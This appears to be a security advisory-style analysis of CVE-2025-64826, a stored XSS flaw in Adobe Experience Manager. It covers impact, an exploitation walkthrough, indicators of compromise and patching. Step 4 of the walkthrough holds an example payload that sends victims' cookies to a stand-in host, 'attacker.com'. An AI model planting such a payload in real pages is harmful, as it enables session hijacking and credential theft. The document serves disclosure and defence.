CVE-2025-64826: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64826 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, and published to NVD on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browser of any user who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious payload) and low privileges, with the attack vector being network-accessible. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. The changed scope means the attack can affect users and resources beyond the attacker's own privilege level (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible over the network.
2. Authentication: Obtain or use a low-privileged AEM user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — typically content editing interfaces or user-input forms.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected payload, the malicious script executes in their browser context, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content editing endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing suspicious script tags or encoded JavaScript payloads.
• File System / Content Repository: Unexpected <script> tags or JavaScript URIs stored within AEM JCR (Java Content Repository) nodes, particularly in text or rich-text fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM page visitors.
• Browser/Application: Unexpected redirects or pop-ups experienced by users browsing AEM-hosted content; reports of session cookies being transmitted to external hosts.

Adobe has released patches addressing this vulnerability. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service users should ensure they are on the 2025.12.0 release or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts (Adobe Advisory).

The vulnerability was part of a broader Adobe Experience Manager security advisory (APSB25-115) released in December 2025, which addressed numerous issues including critical arbitrary code execution flaws. No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64826 has been identified. Detection support was added to Tenable Nessus (plugin 278346) shortly after disclosure (Adobe Advisory).